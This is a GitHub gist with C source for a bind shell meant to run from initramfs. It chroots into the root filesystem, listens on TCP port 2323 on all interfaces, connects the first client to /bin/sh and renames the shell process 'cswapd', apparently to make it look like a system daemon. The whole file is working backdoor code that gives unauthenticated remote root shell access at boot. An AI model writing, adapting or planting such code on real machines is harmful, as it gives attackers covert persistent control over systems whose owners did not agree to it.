Created
January 16, 2018 03:07
-
-
Save Matir/250de7b199f1d254a487abb2a04b3125 to your computer and use it in GitHub Desktop.
bind shell that works in initramfs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* One-off background bind shell with chroot for initramfs. */ | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#define PORT 2323 | |
int handleClient(int fd); | |
extern char **environ; | |
int main(int argc, char **argv) { | |
int enable = 1; | |
char *newroot = getenv("rootmnt"); | |
if (newroot) { | |
chdir(newroot); | |
chroot("."); | |
} | |
int sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
if (sockfd < 1) | |
return 1; | |
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR|SO_REUSEPORT, &enable, sizeof(int)); | |
struct sockaddr_in sin; | |
sin.sin_family = AF_INET; | |
sin.sin_addr.s_addr = INADDR_ANY; | |
sin.sin_port = htons(PORT); | |
if(bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0) | |
return 1; | |
if(listen(sockfd, 1) < 0) | |
return 1; | |
struct sockaddr_in cli; | |
int clilen = sizeof(cli); | |
int client = accept(sockfd, (struct sockaddr *)&cli, (socklen_t *)&clilen); | |
if(client < 0) | |
return 1; | |
return handleClient(client); | |
} | |
int handleClient(int fd) { | |
dup2(fd, 0); | |
dup2(fd, 1); | |
dup2(fd, 2); | |
char *argv[] = { | |
"cswapd", | |
NULL | |
}; | |
return execve("/bin/sh", argv, environ); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment